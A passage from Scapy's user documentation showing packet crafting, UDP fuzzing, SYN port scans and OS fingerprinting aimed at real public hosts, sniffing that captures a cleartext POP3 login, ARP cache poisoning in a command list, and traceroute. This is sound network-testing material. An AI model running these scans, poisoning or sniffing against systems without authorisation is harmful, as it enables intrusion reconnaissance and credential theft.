send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................^C Sent 16 packets. Send and receive packets (sr) ----------------------------- .. index:: single: sr() Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). :: >>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/b"XXXXXXXXXXX") Begin emission: ...Finished to send 1 packets. .* Received 5 packets, got 1 answers, remaining 0 packets >>> p >>> >>> p.show() ---[ IP ]--- version = 4 ihl = 5 tos = 0x0 len = 39 id = 15489 flags = frag = 0 ttl = 42 proto = ICMP chksum = 0x51dd src = 66.35.250.151 dst = 192.168.5.21 \options\ ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0xee45 id = 0x0 seq = 0x0 ---[ Raw ]--- load = 'XXXXXXXXXXX' ---[ Padding ]--- load = '\x00\x00\x00\x00' .. index:: single: DNS, Etherleak A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:: >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished to send 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets an= ns=0 ar=0 |>>> The "send'n'receive" functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:: >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) Received 6 packets, got 3 answers, remaining 0 packets (, ) >>> ans,unans=_ >>> ans.summary() IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:: >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) Begin emission: Finished to send 12 packets. Begin emission: Finished to send 9 packets. Begin emission: Finished to send 9 packets. Received 100 packets, got 3 answers, remaining 9 packets (, ) SYN Scans --------- .. index:: single: SYN Scan Classic SYN Scan can be initialized by executing the following command from Scapy's prompt:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S")) The above will send a single SYN packet to Google's port 80 and will quit after receving a single response:: Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >> From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port. Use either notations to scan ports 400 through 443 on the system: >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S")) or >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) In order to quickly review responses simply request a summary of collected packets:: >>> ans,unans = _ >>> ans.summary() IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop: >>> ans.summary(lambda s,r: r.sprintf("%TCP.sport% \t %TCP.flags%")) 440 RA 441 RA 442 RA https SA Even better, a table can be built using the ``make_table()`` function to display information about multiple targets:: >>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) Begin emission: .......*.**.......Finished to send 9 packets. **.*.*..*.................. Received 362 packets, got 8 answers, remaining 1 packets >>> ans.make_table( ... lambda s,r: (s.dst, s.dport, ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))) 66.35.250.150 192.168.1.1 216.109.112.135 22 66.35.250.150 - dest-unreach RA - 80 SA RA SA 443 SA SA SA The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP. For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:: >>> ans.nsummary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA") 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:: >>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA", prn = lambda s,r: r.sprintf("%TCP.sport% is open")) https is open Again, for larger scans we can build a table of open ports:: >>> ans.filter(lambda s,r: TCP in r and r[TCP].flags&2).make_table(lambda s,r: ... (s.dst, s.dport, "X")) 66.35.250.150 192.168.1.1 216.109.112.135 80 X - X 443 X X X If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:: >>> report_ports("192.168.1.1",(440,443)) Begin emission: ...*.**Finished to send 4 packets. * Received 8 packets, got 4 answers, remaining 0 packets '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n' TCP traceroute -------------- .. index:: single: Traceroute A TCP traceroute:: >>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) *****.******.*.***..*.**Finished to send 22 packets. ***...... Received 33 packets, got 21 answers, remaining 1 packets >>> for snd,rcv in ans: ... print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP)) ... 5 194.51.159.65 0 6 194.51.159.49 0 4 194.250.107.181 0 7 193.251.126.34 0 8 193.251.126.154 0 9 193.251.241.89 0 10 193.251.241.110 0 11 193.251.241.173 0 13 208.172.251.165 0 12 193.251.241.173 0 14 208.172.251.165 0 15 206.24.226.99 0 16 206.24.238.34 0 17 173.109.66.90 0 18 173.109.88.218 0 19 173.29.39.101 1 20 173.29.39.101 1 21 173.29.39.101 1 22 173.29.39.101 1 23 173.29.39.101 1 24 173.29.39.101 1 Note that the TCP traceroute and some other high-level functions are already coded:: >>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer srloop : Send a packet at layer 3 in loop and print the answer each time srploop : Send a packet at layer 2 in loop and print the answer each time sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who-has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands queso : Queso OS fingerprinting nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_del : Send a DNS delete message to a nameserver for "name" [...] Configuring super sockets ------------------------- .. index:: single: super socket The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable:: >>> conf.L3socket=L3dnetSocket >>> conf.L3listen=L3pcapListenSocket Sniffing -------- .. index:: single: sniff() We can easily capture some packets or even clone tcpdump or tethereal. If no interface is given, sniffing will happen on every interfaces:: >>> sniff(filter="icmp and host 66.35.250.151", count=2) >>> a=_ >>> a.nsummary() 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw >>> a[1] >>> >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw >>> sniff(iface="eth1", prn=lambda x: x.show()) ---[ Ethernet ]--- dst = 00:ae:f3:52:aa:d1 src = 00:02:15:37:a2:44 type = 0x800 ---[ IP ]--- version = 4 ihl = 5 tos = 0x0 len = 84 id = 0 flags = DF frag = 0 ttl = 64 proto = ICMP chksum = 0x3831 src = 192.168.5.21 dst = 66.35.250.151 options = '' ---[ ICMP ]--- type = echo-request code = 0 chksum = 0x89d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Ethernet ]--- dst = 00:02:15:37:a2:44 src = 00:ae:f3:52:aa:d1 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 2070 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x861b src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0x91d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Padding ]--- load = '\n_\x00\x0b' For even more control over displayed information we can use the ``sprintf()`` function:: >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 192.168.1.100 -> 64.233.167.99 64.233.167.99 -> 192.168.1.100 192.168.1.100 -> 64.233.167.99 192.168.1.100 -> 64.233.167.99 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n' We can sniff and do passive OS fingerprinting:: >>> p >> >>> load_module("p0f") >>> p0f(p) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) >>> a=sniff(prn=prnp0f) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) (1.0, ['Windows 2000 (9)']) The number before the OS guess is the accurracy of the guess. Filters ------- .. index:: single: filter, sprintf() Demo of both bpf filter and sprintf() method:: >>> a=sniff(filter="tcp and ( port 25 or port 110 )", prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 192.168.8.10:47226 -> 213.228.0.14:110 S : 213.228.0.14:110 -> 192.168.8.10:47226 SA : 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 213.228.0.14:110 -> 192.168.8.10:47226 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 FA : 192.168.8.10:47226 -> 213.228.0.14:110 FA : 213.228.0.14:110 -> 192.168.8.10:47226 A : Send and receive in a loop -------------------------- .. index:: single: srloop() Here is an example of a (h)ping-like functionnality : you always send the same set of packets to see if something change:: >>> srloop(IP(dst="www.target.com/30")/TCP()) RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S Importing and Exporting Data ---------------------------- PCAP ^^^^ It is often useful to save capture packets to pcap file for use at later time or with different applications:: >>> wrpcap("temp.cap",pkts) To restore previously saved pcap file: >>> pkts = rdpcap("temp.cap") or >>> pkts = sniff(offline="temp.cap") Hexdump ^^^^^^^ Scapy allows you to export recorded packets in various hex formats. Use ``hexdump()`` to display one or more packets using classic hexdump format:: >>> hexdump(pkt) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 Hexdump above can be reimported back into Scapy using ``import_hexcap()``:: >>> pkt_hex = Ether(import_hexcap()) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 >>> pkt_hex >>> Hex string ^^^^^^^^^^ You can also convert entire packet into a hex string using the ``bytes()`` function:: >>> pkts = sniff(count = 1) >>> pkt = pkts[0] >>> pkt >>> >>> pkt_str = bytes(pkt) >>> pkt_str b'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' We can reimport the produced hex string by selecting the appropriate starting layer (e.g. ``Ether()``). >>> new_pkt = Ether(pkt_str) >>> new_pkt >>> Base64 ^^^^^^ .. note:: export_object() and import_object() require dill library. Install it with `pip3 install dill` Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet:: >>> pkt >>> >>> exported_string = export_object(pkt) >>> print(exported_string) eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... The output above can be reimported back into Scapy using ``import_object()``:: >>> new_pkt = import_object(exported_string) >>> new_pkt >>> Sessions ^^^^^^^^ .. note:: Session saving/loading functions require dill library. Install it with `pip3 install dill` At last Scapy is capable of saving all session variables using the ``save_session()`` function: >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] >>> save_session("session.scapy") Variables, which start with `_` are not saved, as well as those typical to IPython (In, Out, or inherited from IPython module). Also, conf is not saved. Next time you start Scapy you can load the previous saved session using the ``load_session()`` command:: >>> dir() ['__builtins__', 'conf'] >>> load_session("session.scapy") >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] Making tables ------------- .. index:: single: tables, make_table() Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object : Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):: >>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) Received 49 packets, got 24 answers, remaining 0 packets >>> ans.make_table(lambda s,r: (s.dst, s.ttl, r.src)) 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP. :: >>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) Received 142 packets, got 25 answers, remaining 71 packets >>> ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf("%IP.id%"))) 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 20 0 4203 7021 - 11562 21 0 4204 7022 - 11563 22 0 4205 7023 11561 11564 25 0 0 7024 - 11565 53 0 4207 7025 - 11566 80 0 4028 7026 - 11567 It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc. Routing ------- .. index:: single: Routing, conf.route Now scapy has its own routing table, so that you can have your packets routed diffrently than the system:: >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.254 eth0 192.168.1.1 255.255.255.255 192.168.8.1 eth0 >>> conf.route.resync() >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 Matplotlib ---------- .. index:: single: Matplotlib, plot() One can easily plot some harvested values using the python 2D plotting library: Matplotlib. (Make sure that you have matplotlib installed.) For example, we can plot the random source ports generated when sending and receiving packets with the following command:: In [1]: ans,unans=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*200), timeout=1) Begin emission: ...................................*.........*......*......*.......*......*.....*......* ......*.......*.......*....*..........*.......*......*......*......*......*.....*.......* ......*......*......*......*......*......*......*......*......*......*......*.........* ......*......*......*......*......*......*........*.....*......*.....*... Finished to send 200 packets. ...*........*......*....*.......*.....*........*....*........*......*...*..*.*......* ......*......*......*......*........*..*....*....*............*.....*..*.*...*........* .............*.......*.......*.*.*..*...***......**...*.*.......*..*.*..*.*.**.*....* ...*.*....*......................................................................... ........................................................ Received 734 packets, got 95 answers, remaining 105 packets In [2]: ans.plot(lambda x: x[1].dport) Out[2]: [] .. image:: graphics/plot-random-sport.png TCP traceroute (2) ------------------ .. index:: single: traceroute(), Traceroute Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:: >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) Received 80 packets, got 80 answers, remaining 0 packets 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA (, ) The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding. >>> result,unans=_ >>> result.show() 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 [...] >>> result.filter(lambda x: Padding in x[1]) Like any result object, traceroute objects can be added : >>> r2,unans=traceroute(["www.voila.com"],maxttl=20) Received 19 packets, got 19 answers, remaining 1 packets 195.101.94.25:80 1 192.168.8.1 2 82.251.4.254 3 213.228.4.254 4 212.27.50.169 5 212.27.50.162 6 193.252.161.97 7 193.252.103.86 8 193.252.103.77 9 193.252.101.1 10 193.252.227.245 12 195.101.94.25 SA 13 195.101.94.25 SA 14 195.101.94.25 SA 15 195.101.94.25 SA 16 195.101.94.25 SA 17 195.101.94.25 SA 18 195.101.94.25 SA 19 195.101.94.25 SA 20 195.101.94.25 SA >>> >>> r3=result+r2 >>> r3.show() 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph. >>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) Received 190 packets, got 190 answers, remaining 10 packets 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... [...] 